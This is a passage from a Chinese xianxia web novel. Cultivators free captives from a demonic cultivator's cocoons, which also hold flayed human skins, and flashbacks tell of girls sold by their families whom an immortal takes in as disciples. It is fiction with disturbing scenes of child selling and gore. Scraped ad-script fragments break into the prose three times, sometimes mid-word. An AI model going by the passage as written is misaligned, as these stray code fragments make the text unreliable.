洛禺转头,正想宽慰师妹重新画一遍就是,却发现婚房的入口处,出现了一男一女两个如真人般高,衣着精致的纸人。 纸人吟诵着诡异的颂词,因为没有脚的缘故,一跳一跳地向二人靠近。 洛禺下意识地把师妹挡在身后,装饰用的桃木剑挥出,竟真有一道剑气呼啸而出,将两个纸人生生劈成两半。 凌霄剑气。 洛禺在晓雾峰多年,是第一次陪同门下山游历,他修为不高,交好的师弟师妹平日里和他玩得再好,到了关键的游历时刻到底还是不敢拿前程开玩笑。 他害怕真的遇上紧急状况,临行之前还是找了师尊要些保命的物件。楚悬猜到他会来,早就等在那里,交给他一道剑气。 师尊早就替他们求来的,谢珩师伯的凌霄剑气。 12. 小白真厉害 身首异处的纸人躺在地上,脑袋咕噜咕噜地滚到了二人脚边。 纸人的嘴微微翕动,声音嘶哑嘲哳,几乎听不清内容。 “一纸婚书......当上奏九霄.....三界除名,永无轮回。” “他在叽里呱啦说什么鸟语?”凌霄剑气可斩断一切,就算是地狱大魔来了也要留下脑袋再走,洛禺的胆子这才算落回他的肚子里,放肆地盯着那纸人的脑袋看。 “师兄,”孟婷的声音微微发颤,像是还没从惊吓中回过神来,“你刚刚用的那个东西,还有吗?” “没了啊。”洛禺不明所以,“谢师伯的剑气可是难得的宝贝,我好不容易才从师尊那讨来一点,哪儿来的多余的。” 婚房中没有风。 但是红绳却仿佛有了生命一般,在地面上扭动蔓延。 像蛇吐出的红信。 “一纸婚书......上表天庭,下鸣地府,当上奏九霄,诸天祖师见证。若负佳人,便是欺天,欺天之最,身死道消。佳人负卿,有违天意,三界除名,永无轮回。” “师尊......”师月白紧紧拽住了谢珩的袖子,她听不懂这文绉绉的话,但是这两个莫名出现的纸人确实已经有够吓人的了。 “小白乖,”谢珩拍了拍她的手背,“怕的话就抓着我袖子闭上眼睛,别看他们。” 师月白闭上了眼睛,却依旧无法屏蔽那纸人喑哑刺耳的诵词,像鬼魅般萦绕在她 好像更怕了。 谢珩察觉到一股轻微的力道从袖口消失,顿时意识到小白松开了自己的袖子。他下意识地皱了皱眉,有些担心她是不是察觉到了什么异样,便微微侧身回头去看。 小白不知何时已经化出了她的本相,洁白如雪的毛发在微光下泛着柔和的光泽。她那双琥珀色的狮眼里流露出一丝孩子气的狡黠,前爪微曲,后肢稳稳地站在地上,正用力龇牙咧嘴,露出一排尖利的獠牙。 白狮体长一丈,站起来身高六尺,威武地低低吼着。 “小白真厉害,”谢珩摸了摸她的脑袋,威武的白狮顿时伏下脑袋,发出猫科动物特有的,舒服的呼噜声,“是想给自己壮胆吗,还是想要保护师父呀。” 师月白蹭着他的手,像是为了证明自己可以保护师尊一样,凶狠地环顾四周,凶巴巴地瞪着那两个装神弄鬼的纸人。 “不展示一下,你们是如何抓走那两个晓雾峰弟子的吗?”谢珩召出数十柄飞剑,绕在两个纸人四周,剑尊的威压让原本没有生命的纸人下意识地后退,似乎昭示着驱使他们之人本能的畏惧。 “不照做么。”谢珩蹙眉,飞剑又逼近几尺。 “你们可愿......”因为畏惧的缘故,纸人的声音颤抖,尾音拉得很长,显得更加可怖,“可愿......结,结......两姓........” 随着纸人声音响起,满地散落的红绳开始扭动,发出窸窣的声响。 谢珩挥剑,利落地斩下纸人的头颅。 仿佛有了生命一般的红绳蜿蜒着向一人一狮靠近,师月白害怕地嘶吼着,却并不能够喝退无知无畏的红绳。 剑光一现,红绳被尽数斩落,却仍蜿蜒着向二人靠近。 是红绳。 红绳是带走那两个晓雾峰弟子的罪魁祸首。要找到他们,或者说顺着他们找到那个始终藏在暗处的魔修,只有一个办法。 和那两个晓雾峰弟子一样,被红绳卷入茧中,带到魔修的领域。 谢珩挥出一道剑气,收在师月白的眉心。公主府人心复杂,魔修可能就隐匿其中,与其把小白留在这里,谢珩还是更愿意把她带在身边。 “一会儿发生什么,都不要害怕,师父留下的这道剑气会保护你的。” 红绳继续蜿蜒靠近,师月白的眼睛一下就红了,她化作人形,一头扎进谢珩怀里:“师尊,师尊不要死。” “你这孩子,想什么呢。”谢珩失语,顺从地摸了摸她的发,“师尊只是要跟你分开一会儿,没猜错的话,魔修就是用这红绳抓走那两个晓雾峰弟子的,我们现在要让红绳带我们去找他们。” 师月白这才放下心来。 “一纸婚书,上表天庭,下鸣地府......生死道消......永无轮回。” 红绳如同从脚向上绵延,将他们严丝合缝地包裹成茧。 谢珩双眸微敛,刹那间捕捉到周围灵力那一丝微不可查的波动,仿佛空气中的寒意忽然凝滞,连呼吸都显得沉重几分。他心头一凛,意识到此地已踏入那魔修的领域。隐隐的压迫感从四面八方袭来,像是有无数看不见的目光正注视着他。 “来了。”谢珩心底冷然。手中凌霄剑骤然泛出淡蓝色的剑光,似流动的寒光从剑锋蔓延而出,凌空划破周围的沉闷空气。随着他一声低喝,剑气如破茧之蝶瞬间暴发,寒光掠过,包裹在他身上的红绳应声而裂,那些如蚕丝般坚韧的红线在剑锋之下纷纷断裂,伴随着轻微的破裂声,四散飘落在地。 红绳破碎时发出的声音仿佛细微的雪片落地,然而地面上散落的并不是雪,而是带着诡异气息的红色碎线,像是带着生命般轻轻扭动。破碎的红绳一片片地在他脚下稀落成堆,残留的剑气还未消散,空气中弥漫着剑锋切割过后的冷冽气息。 四周一片死寂,只有他耳边依旧能感受到那若有若无的灵力波动,仿佛潜伏在黑暗中的危险正等待着下一次出手。 “小白!”他下意识地想要找到那个包裹师月白的茧,却发现岩洞之内,密密匝匝地排布了数十个,一模一样的红茧。 小白,小白在哪里。谢珩慌了神,我留给她的剑气,为什么没有起作用,为什么没有助她破茧? “师尊,我在这里!” 谢珩转身时,眼前的景象令他微微一愣。散落的红绳像缠绕错乱的蛛网,纵横交错地铺在地上,小白从红茧从探出头来,嘴边还含着数根没有咬断的红绳。那根红绳垂在她的嘴边,仿佛有生命一般挣扎扭曲,却又无法挣脱她的牙关。 师月白把红茧硬生生咬破,从茧中钻出来了。 “脏,快吐出来。”谢珩伸手到她嘴边,催她赶紧把红绳吐出来。 师月白不好意思吐在师尊手上,自己转过身去了。 谢珩提剑,数道剑光齐下,劈开几个沉睡的红茧。 他并不敢用太多灵力,怕伤及茧中的人。眼下看这红茧的数目,大概晓雾峰那两个失踪的弟子和司州城中所有失踪的少女,眼下都在茧中了。 “师伯......”茧中人浑身青紫,看不清面容,挣扎着爬向谢珩,转而又无力地瘫倒在地,“求你救我师妹。” 数个斩落的红茧中,只有他一个活人。 剩余破开的红茧中,只有一张张,少女的人皮。 像是刚刚剥离出来一样,光洁而白皙,带着些许血迹的人皮。 师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 月白几乎吓坏了,她连洛禺都未曾认出来,跪倒在少女的人皮面前,浑身都害怕得发着颤。 谢珩神色如霜似雪,并不为之所动,只是催动飞剑,破开剩余所有的红茧。 这些剩余的红茧中,也几乎全都是干瘪的人皮,只剩下一个瘦弱的,浑身青紫的少女,手中攥着还来不及使用的符纸。 孟婷已经几近失去意识了,洛禺看见她,好像突然有了力气,艰难地爬了起来向她走去。 师月白虽然没有认出洛禺,却第一时间认出了孟婷。她支撑着自己站了起来,朝孟婷走去。 谢珩却在这时扣住了她的手腕,低声道:“这里是幻境,不是真的,不要过去。” 师月白相信师父,可却也很难违背自己的双眼和直觉,她站在那里,进退维谷。 洛禺将灵力尽数渡给了孟婷,却迟迟不见她转醒,就算他从指尖给她渡了再多灵气,却从她仿佛充满了窟窿的身体溢了出来。 被封入茧中这好些时日,师妹再要强,却也比他少了整整百年修为。自己尚且难以为继,更何况她了。 洛禺求助地看向谢珩,却看见仙君的面容冰冷而陌生。 虽然谢珩本就也是拒人于千里之外的样子,但是比起他现在的样子,平日里的师伯几乎可以算得上和蔼可亲了。 这更像是是谢珩身为仙界剑尊,看魔物时的神情。 飞剑指在洛禺的咽喉,他明知道自己这时应该说些什么让谢师伯相信自己并非是魔修幻化出的样子,却被寒剑的威压逼得一个字也说不出来。 快想想说什么啊,在这样下去,师妹,师妹就....... 师尊把师妹托付给你了,洛禺。别人都说你不学无术,只有师尊,只有师尊一直...... “师伯,我是,我是洛禺。”他的声音颤抖得不成音调,霜刃靠得他的脖颈那样近,他知道只要再往前一寸,自己就会血溅三尺。 “我是洛禺,我......我是楚悬仙君门下弟子洛禺.......求师伯救我师妹。” “师尊,那个好像真的是......” 谢珩听见师月白的声音,神色和缓了些:“你如何证明你是洛禺?” 凌霜剑是上古寒玉制成,炼器师早已在千年前的大战中生死魂灭,世间仅此一柄,锋刃所致,可凝水成冰。 洛禺只觉浑身血液都被霜刃的低温冻住了,他的嘴唇泛着白,脑子迟缓地转着:“我......我有一回逃课在以清山......炉子.....烧烤,师伯你叫我师尊来,师尊想,想要抽我,但是......没带鞭子。” 霜刃抽离了他的颈边。还好这柄剑没有抵在师妹的脖子上,这是洛禺意识混沌时的第一反应,还好,这样他不至于没脸去见师尊。 温暖的灵力注入了他的全身,待他清醒过来时,师妹已经安然无事地站在他眼前。 孟婷把他扶了起来,解释说是师伯和小白救了他们,问他还有没有不舒服的地方。洛禺摇摇头,他从未觉得自己身体这般清爽舒适过。就好像期末擦边过了考核之后在宿舍里连睡了六个时辰一样舒适。 “多谢师伯救命之恩,洛禺感激不尽。今后若有用的上......” “应该不会有用的上你的地方的。”谢珩神色恢复了往日的冷寂,好在洛禺见过了师伯刚刚杀气尽露的神情,两相对比之下,洛禺竟觉得此刻的师伯格外和蔼可亲。 13. “此地是司州,你便叫司凌” “阿黄,不要哭了,他们已经不在了。” 远处,火光冲天,烈焰舔舐着夜空,熊熊燃烧的房屋在黑夜中发出低沉的轰鸣声。火光映红了周围的田地,如同神话中的巨兽般,像要把一切燃烧殆尽。 女孩抱着怀里挣扎的黄狗,双手因过度用力而微微颤抖,脸上已满是泪痕。泪水一滴滴落下,洇湿了黄狗那因长期饥饿而显得暗淡的毛发。狗的毛曾经泛着柔和的光泽,而此刻却像一张沾满灰尘的破旧布料,失去了往日的生气。女孩的指尖无意中抚摸到它凸出的骨骼,黄狗的脊背因饥饿而瘦弱得不堪一握,似乎稍一用力就会断裂。 火焰的热浪扑面而来,带着灰烬和烟尘,灼热的气息让她眼睛刺痛,视线变得模糊。但她依旧紧紧地抱着黄狗,仿佛这是她唯一能够抓住的东西。黄狗在她怀里发出细微的呜咽声,虽然它挣扎得越来越虚弱,却依然不肯放弃。 黄狗低低的呜咽声时断时续,尾巴夹在两腿之间,身体僵硬,仿佛火焰的热浪正吞噬它的胆气。那双湿漉漉的眼睛不断瞟向火海,流露出对死亡本能的恐惧。可就算怕成这样这样,它仍想要挣脱女孩的怀抱,重新闯入火海。 女孩抱着挣扎的黄狗,回头看了一眼化成火海的,曾经的家。 “阿黄,别怕,我在这里。”女孩的声音哽咽而温柔,她俯下身子,将脸贴在黄狗的头顶上,试图通过自己的体温安抚它的焦躁。黄狗依旧微微颤抖,但它不再挣扎,只是下意识地把自己更紧地蜷缩在她怀里,女孩的手轻轻抚过黄狗的脊背,那粗糙的毛发与她的手掌摩擦,带来一丝聊胜于无的慰藉。 四周的世界似乎只剩下了火焰的噼啪声和狗的低呜。 “乖,以后就只剩下我们了,”她的声音很轻,很温柔,轻得几乎被夜风吹散,“只要我还活着,就永远不会抛下你。” 黄狗像是听懂了她的话,居然安静下来,只用那双湿漉漉的眼睛望着她,缓慢地伸出舌头舔了舔她的手。 四周一片死寂,女孩的目光在火海和黑暗间徘徊。 “阿黄好乖,相思坊的人马上就来接我了,在相思坊,我会努力让我们两个每天都吃上热饭的。” “怎么这样看着我,好像很为我难过一样。”女孩温柔地摸了摸黄狗的头。 “相思坊很好啊,那里的女孩们都很年轻,都很漂亮,都穿着很好看的衣服,唱着很好听的曲子。” “昨天妈妈叫我唱了一首呢,不,不是她,是相思坊的妈妈。” “阿黄要听吗?”女孩在田野的垄间坐下,抱着黄狗,像是要和它对视,“我知道你能听懂的,这个家里,只有你能听懂我说话。” “秋风清,秋月明。”女孩小声的唱起来。 这个村子里的大多数人还在睡梦中,她不想惊动他们。 “落叶聚还散,寒鸦栖复惊。” “相思相见知何日,此时此夜难为情。” “好听吗,妈妈说,我年纪太大,来不及学戏了,不过我嗓音不错,可以唱曲儿。” 以后的日子会是怎么样的呢,女孩并不清楚。为什么相思坊只有年轻漂亮的女孩儿呢,她也不敢想。 她抱着黄狗,对未来的一切一无所知。 她就是在这个时候遇见仙人的。 该怎么形容第一面呢?仙人一身白衣,踏月而来,她还未看见他的脸,就被那样惊世的超脱性别的美震撼到了。 该怎么形容那惊鸿一瞥的第一面呢? 女孩抬起泪眼,朦胧中得见仙人的身影从远处踏月而来。那人白衣胜雪,不疾不徐,步伐轻盈,仿佛脚下并非泥泞的田垄,而是浮于云端的虚空。月光洒在他身上,泛着柔和的光辉,将他的身影勾勒得近乎虚幻。 她还未看清他的脸,视线模糊中,那道身影已经宛如一抹不可触及的神谕,带着一种超然尘世的美感。 月光在他身后绽开,在稻田如水摇曳。她愣在那里,脑海中空白一片,仿佛世间的一切喧嚣、悲哀,都在他的到来前骤然消弭,只剩下他那出尘的身影。 她想起了相思坊的妈妈也曾说过自己生的好看,可是低头看见自己刚刚撑在田垄间的指甲缝里沾满黑泥的双手,和身上麻布料子的衣衫,只觉自惭形秽。 萤烛末光,怎配与日月争辉。 但是明月却在她身畔停留了下来。 “这么晚了,怎么不回家去?”这是仙人同她说的第一句话。 遇见仙人应该怎么做呢。这是女孩第一次见到仙人,没想到仙人会主动同她讲话,她心头一震,有些惶恐地跪下来,想朝仙人磕了几个头。 可是额头触地之前,却被拦住了。 “哎哎,这是做什么,跪天跪地跪父母,跪我做什么?” “起来起来。你这孩子,这是做什么,”仙人把她拉了起来,“农活没做完么,这么晚了,回家去吧,和爹娘说一声就好。” 女孩摇摇头。 “和爹娘吵架了吗,我送你回家去吧。你家住哪一户呀?” 女孩并不说话,倒是她身边的黄狗,一直冲着东南方向,似乎想要带他们往那边去。 仙人蹲下来,摸了摸黄狗的脑袋:“这么晚了,快带你的小主人回家去吧。” 仙人居然会那样温柔地,摸一条普通的,农村看门狗的脑袋吗?女孩看着如霜似雪的仙人,可是阿黄并非那些城里老爷小姐抱在怀里的宠物狗啊。 她的家里除了自己,并没有人会这样温柔地摸阿黄的脑袋。阿黄是很喜欢被摸的,每当女孩摸它的脑袋时,他就会信任地翻开肚皮,发出舒服的呼噜声。但是家里的其他人从来都不愿意摸他,因为他只是一只看门的狗。 或许是仙人温柔的举措让阿黄产生了错误的判断,它竟然咬住了仙人洁白的衣摆,似乎想要把他往起火的方向带。 女孩有些惶恐,害怕冒犯了仙人,正想制止阿黄,仙人温柔的声音却响了起来。 “是想要我送你的小主人回家吗?” 阿黄应和似的汪了一声。 “好通灵性的狗。”仙人的声音温润如月,目光轻落在黄狗身上,随即转向抱着黄狗的女孩,语气中带着一丝安抚的意味。“小姑娘,走吧,我送你回家去。” 女孩低下头,眼中闪过一抹难以掩饰的哀伤,轻轻摇了摇头。“我,我没有家。” 仙人的眉心微微蹙起,目光中带着些许错愕和困惑,仿佛不理解这样一个年纪轻轻的孩子为何会说出这般话。他以为她不过是和家人闹了别扭,便试图柔声劝解。 “没有家?你是和家人吵架了吧?走吧,带我去见见他们。” 女孩抬头看了看他,又迅速垂下目光,仿佛不愿面对这位看起来如神明般遥不可及的仙人。她的声音低沉而无力,带着些许难以启齿的自卑与绝望。“我娘他们,把我卖到相思坊了......” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话语声渐低,几乎被夜风吹散。她的声音因为紧张而有些颤抖,但还是努力继续说了下去:“相思坊的人,明早就来接我。我在这里等……等到天亮,他们就会来村口接我了。” 仙人的神色忽然凝固了一瞬,他的眉头皱得更深,眼中闪过一丝不安和迟疑。他目光锁定在女孩身上,似乎隐约猜到了什么,却又不愿相信自己刚刚听到的。 “相思坊是......?”他的声音变得轻缓而迟疑,带着一股对凡尘俗事的疏离与不解。他从未涉足人间烟火,对这些肮脏的交易一无所知,却从女孩的话语和表情中隐约意识到情况的异常之处。 女孩咬了咬唇,喉咙间发出一声几不可闻的苦笑。她的眼眶微微发红,泪水在眼中打转,却倔强地不让它滑落。她紧紧抱着怀里的黄狗,仿佛那是她唯一的依靠和安慰。她轻轻开口,嗓音因压抑的情绪显得有些沙哑:“相思坊是,就是仙人想的的那个意思。这些年司州久旱,粮食收成不好,爹娘说我去了相思坊,就能吃饱穿暖了,我弟弟也就能上村里的学堂了。” 仙人静静看着她,目光微敛,脸上原本的神情渐渐消失,取而代之的是一种难以言喻的复杂情绪。他原本清冷淡然的气质在这一瞬间似乎被打破,内心的动摇流露在脸上,显得有些手足无措。 “混账。”仙人忍不住失了风度,低头却看见女孩的眼睛已经红了,只好压下愤怒先拿出手帕给她擦眼泪。 “我名楚悬,齐姜仙尊座下弟子,听说此地久旱无雨,前来布雨。若你愿意,我可收你为徒,带你回晓雾峰。” 齐姜仙尊...... 听说司州城北,有齐姜仙尊的庙宇。女孩曾经徒步往那里走,想要求仙尊庇佑,让她少挨些打,少挨点饿,活到嫁人的那一天。 传闻她是帝君之妻,随帝君戎马一生,以人族之力,击溃妖族魔族,划极川为人魔之界。得上神点化飞升成仙。 可是稻田之北,又是另一片稻田。女孩的腿脚太慢,走到天黑,也没有走出那片稻田。 女孩呆在那里好久,直到阿黄冲她吠了一声,她才如梦初醒地跪下。 楚悬这回并没有阻止她,生受了叩首三次的拜师礼,才拉她起来。 “可还有什么东西想要回家拿的?再下山时,恐怕沧海桑田,这个村子都未必还在了。” 女孩摇摇头。楚悬摸了摸她乱糟糟的头发:“也好,一会儿带你去城里扯几身衣服好了,他们给你的东西我还不屑于拿。” “那阿黄......” “当然可以带走,不过你学会画消音符之前,每十天都要来找师父拿一次消音符。不然阿黄晚上叫起来,你的同门要生气的。” “阿黄很乖,”女孩说,“它晚上不会叫的。” 楚悬笑了笑:“没关系,画了消音符,院外听不见里面的声音。” “好孩子,你还没同我说你叫什么呢。” “我......”女孩刚刚有了笑意的脸,在听到这个问题之后,又黯淡了下去。 她的声音低得几不可闻,但是楚悬还是听见了。 “叫程招娣。” 似乎过了很久,楚悬低下身子,托着她的背把她抱了起来。 “以后你不叫这个。” “忘掉这些吧,师父给你重新取一个名字。” “此地是司州,你便叫司凌。此去经年,仙途缈缈,揽胜凌霄。” 14. “阿凌,说话呀。” “公子,这件料子时兴得很,城中大户人家的小姐都在穿呢。这是您妹妹吧,给您妹妹穿保准合适的。” “是我徒......”楚悬一身雪白绸缎,腰间系着名贵的红绫穗条,扮作大户人家的贵公子打扮,他不想过多解释,就没有反驳掌柜的话。 掌柜手中的料子是苏绣,确实美轮美奂,精致异常。那料子上的绣线细如发丝,隐隐泛着丝绸特有的微光。每一针每一线都像是经过了无数次的琢磨,堪称完美。这样的料子制成成衣穿在身上,确实是常人想也不敢想的奢靡。 楚悬不缺钱,只是还有两处未曾布雨,不能在此多做停留等成衣做出来。 “有成衣吗,我想先给妹妹买几件成衣,多拿几件来。”江淮一带并不止司州有旱情,楚悬下山一趟,还有其他地方需要布雨,他不能在此地停留太久。 司凌换上华贵的绸缎站在镜子面前,连手脚都不知道应该往什么地方放了。 “这件白的好,那件红的也留着,粉的也留着,粉紫的太成熟了,小孩子家家的给她拿这种干嘛,除了这件都包起来吧。” “师尊。”司凌扯了扯楚悬的衣袖,小声劝说,“太破费了,不用买这样多的。我长得快,买了也明年就穿不下了。” 楚悬摸了摸她的头:“你这孩子怎么竟说瞎话。小小年纪的操心钱做什么。我是你师尊,明年穿不下就明年再买。” 他故作神秘,压低声音,“其实为师很有钱,画一张符,能卖五文呢。” 司凌瞪大了眼睛,充满惊讶,“五文,真多啊……” “可以换半斤饴糖呢。”她下意识地说道,随后意识到失言,忙收住了话头。 她只吃过一回饴糖,那是行脚的商人喊着鸡毛换糖来程家村时,妈妈给弟弟换来弟弟吃剩下的。 饴糖好甜啊,可惜只剩下一点了,她本想尝尝味道就把饴糖吐出来的留着明天吃的,可是饴糖太少了,刚刚进嘴,几乎就化了个干干净净。 “阿凌想吃饴糖了吗?”楚悬温柔地问。 “不......没有,我没有想吃。”司凌慌不迭地否认,她不想在师尊面前显出自己馋嘴。 可是她明明没有说想吃饴糖啊,师尊是怎么看出来的,难道因为他是仙人,所以他什么都知道吗。 “阿凌乖,我也不知道哪里有卖饴糖的,等师尊给南州和孟城也布了雨,就去给你找卖饴糖的。” 饴糖这样便宜的零嘴,通常是没有固定的商铺卖的。那些挑着扁担卖饴糖的老人,时常出现在某个幽僻的小巷或是村落,并无踪迹可循。饶是经常行走人间的楚悬,也一时半会找不到卖饴糖的地方。 “我不想吃饴糖,只要能和师尊待在一起,我就已经很开心了。” 司凌说的话发自肺腑,可是楚悬却只是刮了刮她的鼻子,开玩笑地说:“阿凌的嘴怎么比饴糖还甜。” 他迟疑了一下,叫布店的掌柜把刚刚那块苏绣的料子也拿过来。 “客官,您可真有眼光,这块料子刚刚到货就几乎被预定完了,这是最后两块了。你看你妹妹长得这样标致,两块都带走吧,我给您打个折儿?两块十八两?这料子不会过时的,这可是苏绣,这纹样大气的,明年还能给小姐扯一身衣裳。” “十八两,太贵了。”司凌下意识地推开那块昂贵的苏绣。十八两这个数字对她来说,简直是不可想象的奢侈。她从未接触过如此昂贵的物品,十八两银子几乎等同于她家一整年的开销。 这个数字在她脑海中犹如巨大的山岳,压得她喘不过气。她的指尖轻轻触碰着那块料子,又立刻缩回,就好像那绸缎的柔软触感提醒着她,这种东西离她的生活是多么遥远,既昂贵又不可企及。 掌柜习以为常地以为她是在砍价,这样砍价的法子,掌柜见多了,但是苏绣确实是苏绣,一分也少不了。 “确实是有些贵,把我卖了也买不起这玩意,”掌柜也不强求,把料子往司凌身上比了比,“好看是好看,不过确实还是适合的最重要的,小姑娘嘛,过一年就长高穿不下了,也着实没必要买这么贵的,买适合的就好了。” 小姑娘嘛,过一年就长高穿不下了。 掌柜的话触碰到了谢珩心中那根隐秘的弦,他伸手按住掌柜接过那匹料子的手:“包起来吧,我两块都要了。” “好嘞!”掌柜喜形于色,带楚悬去结账,“要不要让小姐先换上一身呢,那件天蓝的,添花锦纹的,那件最衬小姐。我让人带小姐去换衣服吧。” “去吧。”楚悬拍了拍司凌的肩,司凌却怯懦地又说了太贵了之类的话。 “阿凌再这样扫兴,师尊就要生气了。”楚悬佯装嗔怒,司凌这才乖乖地去换了衣服。 掌柜做了多年生意,眼光确实不错,司凌穿上那件天蓝添花锦纹的衣裳,确实总算有了她这个年纪的小姑娘应该有的样子。 楚悬接过剩下的衣服和料子,走出布店,就将包裹收进了一个玲珑囊,递给司凌。 “以后这个玲珑囊,以后就送给阿凌了,无论是多大的东西,都可以装进里面,等想要用时,心中想着那个物件,便能取出来。阿黄也可以装进去,里面不会难受的。” 楚悬虽已辟谷,司凌仍是肉体凡胎,他带着司凌买了些填肚子的东西,就急匆匆地带她去布雨。 对于司凌而言,那或许真的可以称作神迹。仙人站在云间,手中拂尘轻轻一挥,长长的白丝飘然洒下,而符纸如羽般飞舞,悬停在半空中,仿佛凝固了时间。 就在符纸未动的刹那,天际的云层似被无形的力量召唤,瞬间聚拢,宛若潮水般滚滚而来。云层越积越厚,笼罩住苍穹。 顷刻间,一滴、两滴晶莹的雨珠从天而降,转瞬化作温柔的甘霖,洒满大地,带着生命的气息。 司凌怔怔地望着这一幕。那场几乎贯穿她一半生命的大旱,原来只是欠这一场仙人轻挥拂尘就能落下的雨。 要是他早一些来,要是他早一些来...... 司凌有些出神,直到楚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 悬叫她才反应过来。 “阿凌累了吗?”楚悬俯下身子,把司凌背了起来,“是我疏忽了,我本来应该给你找个客栈带着,不该让你跟着我一天之内奔波各地的。” “我不累,”司凌伏在楚悬背上,“只要能和师尊待在一起,我就很开心。” 父亲是时常这般背弟弟的,却从来没有这样背过她。 师尊的肩膀宽阔而温暖,她伏在他的背上,甚至连她心中沉积多年的孤独与悲伤都一并承载。她从未体验过这种踏实的依靠,不由得闭上眼,鼻尖萦绕着楚悬衣袂间若有似无的淡香。 “师尊现在带你去买饴糖。”楚悬笑道。 “行了这道拜师礼,你就正式成为晓雾峰弟子了。”楚悬笑了笑,“拜完师父,今后要好好修行,不可偷奸耍滑哦。” 楚悬身后是一面古朴的铜镜,映出女孩端正行礼的样子。 他取过象征新入门弟子身份的拂尘,司凌跪在那里,虔诚地等待着那柄拂尘交到自己的双手上。 就在这时,身后的琉璃镜在这时突然泛起微弱的光芒,空气中仿佛凝固了一瞬,紧接着,一道鲜红的血痕自镜面流淌而下,如同人身上真实的创口。 血痕划过光滑如水的镜面,带着一种难以言说的肃杀感。就在众人尚未从震惊中回神时,第二道、第三道血痕接踵而至,血色越发浓烈,如同撕裂的伤口,彰显着无形的罪孽。 最终,第六道血痕如致命一击,慢慢滑落,整面琉璃镜被四道深红的血痕彻底染透,映衬出女孩那苍白的面容和眼中的惊惧。 晓雾峰海纳百川,出身也好,资质也好,都绝不会成为阻碍人拜入晓雾峰门下的阻碍。 唯有一点,身负血债,心思不纯者,立即逐出师门。 楚悬自开山门时,穷一半修为铸此琉璃镜,名曰明照,可照出身负人命者,身负几条人命,便出现几道血痕。 “师尊!此人心术不正,应该即刻逐出晓雾峰。” “这么小就杀人,心肠该有多狠啊......”又有其他弟子低声议论,带着几分震惊和厌恶。 “师尊……”有人忍不住再次开口,试图提醒楚悬,但却不敢再说下去,眼中充满了对师尊抉择的敬畏与犹豫。 众人的声音几乎要将司凌淹没,明明这些人在不久之前,还笑着同她打招呼,唤她小师妹。 楚悬看了一眼跪在地上,惊恐得满脸泪痕的女孩。他垂下眼眸,眼中闪过一丝怜惜和沉思。他沉默了片刻,随后蹲下身子,目光与司凌齐平,语气柔和却不失威严:“阿凌,你爹娘和祖父祖母待你不好,我知道。你要杀你弟弟,也并非十恶不赦。你只告诉我,剩下那一条人命是谁的,师尊自然会替你做主。” 司凌低着头,身体颤抖得更加厉害了。她泪眼朦胧地看着楚悬的衣摆,却沉默着不敢抬头看他。 为什么没有早些遇到...... 为什么没有在那之前遇到....... “阿凌,说话呀。” 15. “以清山谢珩,会为诸君做主。” 楚悬遇见孟婷,是司凌离开宗门之后的五年。 那时瘦的不成样子的女孩被挑在扁担的一侧,头上插了一根草。 这是卖掉孩子的意思。 渝州自古富庶,有天府之称,可是经年战乱,就算逃过天灾,却也免不了人祸。 他给了挑着扁担的女人十贯钱,让她把孩子带回去。 女人没有接,只是仰头看着他,可能是被这么大的数目震惊到了。十贯钱掉在地上,发出清脆的响声。 她扑通一声跪在楚悬面前,求他把这个孩子带走,做牛做马都好,只要给她一口饭吃。 楚悬捡起地上的钱,重新递给女人,让她领着孩子回家去。 “公子,求公子把这个孩子带走吧。就算您给我再多的钱,我把这个孩子带回家,她爹也不会给她一口饭吃的。” 女子衣衫破烂,伏在地上,泣不成声。 “我给您磕头,您是大善人,您把这个孩子带走吧,您打她骂她都好,让她给您当牛做马,来世结草衔环报答您。” “好。我答应你,”楚悬拦住了女人,从怀里掏出两个大饼给她,“你把这两个饼吃完了再回家吧。” “这个孩子,我会......买下来。” 女人看着手中的饼,几乎听不见楚悬在说什么。她狼吞虎咽地咽着饼,直到楚悬再次开口询问,才说了一个数。 楚悬从怀中掏出八十文递给她。他的目光转向扁担,骨瘦如柴的女孩蜷缩在扁担里,自始至终没有抬头看楚悬和自己的母亲一眼,仿佛两人言语间决定的不是她,而是其他不相干人的命运一样。 楚悬把她从扁担里抱出来,女孩的身体在他怀中微微颤抖,像一只刚从风雨中挣扎出来的小兽。她的头发干枯得如同枯草,发丝间沾着几许灰尘,映衬着她无辜而又忧伤的眼神。那双眼睛透着恐惧与不安,仿佛在抗拒着即将到来的未知,却又渴望温暖与庇护。 他会把她带到哪里去呢,她只会烧水,喂猪,打猪草,他会不会嫌她笨,然后把她赶走呢。 而楚悬只是告诉自己,以后他就是她的师父了,不会再挨饿,也不会再有人妄图把她卖掉。 过了许久,瘦弱的女孩终于伸出手来,抓住了楚悬的袖子。 后来,来到晓雾峰的孟婷花了很久才把那头枯草一样黄的头发养成和常人一样的黑。 遇见温致宁的时候,是司凌成为魔修的第十年。 因为修习魔道之故,她的身上长出了细细密密的青麟,她不敢照镜子,要见人时便带着帷帽,不露真容。 她几乎忘记了自己原本的样子,可是看见那个言笑晏晏的大小姐时,她还是立刻就认了出来。 那分明是本该死在十四年前的,她的双胞胎妹妹。 “姑娘?”少女从拍了拍她,“找我有事吗,我看你好像盯着我看了很久了。” 是她。 “只是觉得小姐有些眼熟罢了。许是我认错了。” “未必是认错,”少女笑笑,“我爹说,我五岁才被他收养,他捡到我之后我发了场高烧,从前的事情都不记得了。姑娘是何方人士,或许我们小时候真的一起玩过呢。” 少女衣着华贵,头上带着朴素却不俗的碧玉簪子,一看就是高门大户的小姐。 “小姐,”少女身边的丫鬟看了司凌一眼,似乎在提醒少女少和不三不四的人来往,“老爷夫人还等着您回家用膳呢,赶紧买完胭脂回家吧。” 她还活着,司凌几乎压制不住自己体内的魔气,她怎么会还活着。 那晓雾峰那面该死的镜子出现的血痕算什么。那我被楚悬赶下山之后过得这些年算什么。 她能感觉到细细密密的青鳞在生长,摩擦着衣服的布料,伴随着细细密密的疼痛,已经蔓延到她的手腕,几乎马上就要蔓延到能被人看见的地方。 她几乎是夺路而逃。 逃回无人的旷野,逃回魔界。 十方血海,低等的劣魔彼此相食。他们是生于魔界的怪物,不像她这样的魔修,还保持着人的样子和自己的灵识。 可是唯有在他们当中,她才能感觉到自己并非异类。 魔尊温柔地把她揽入怀中。 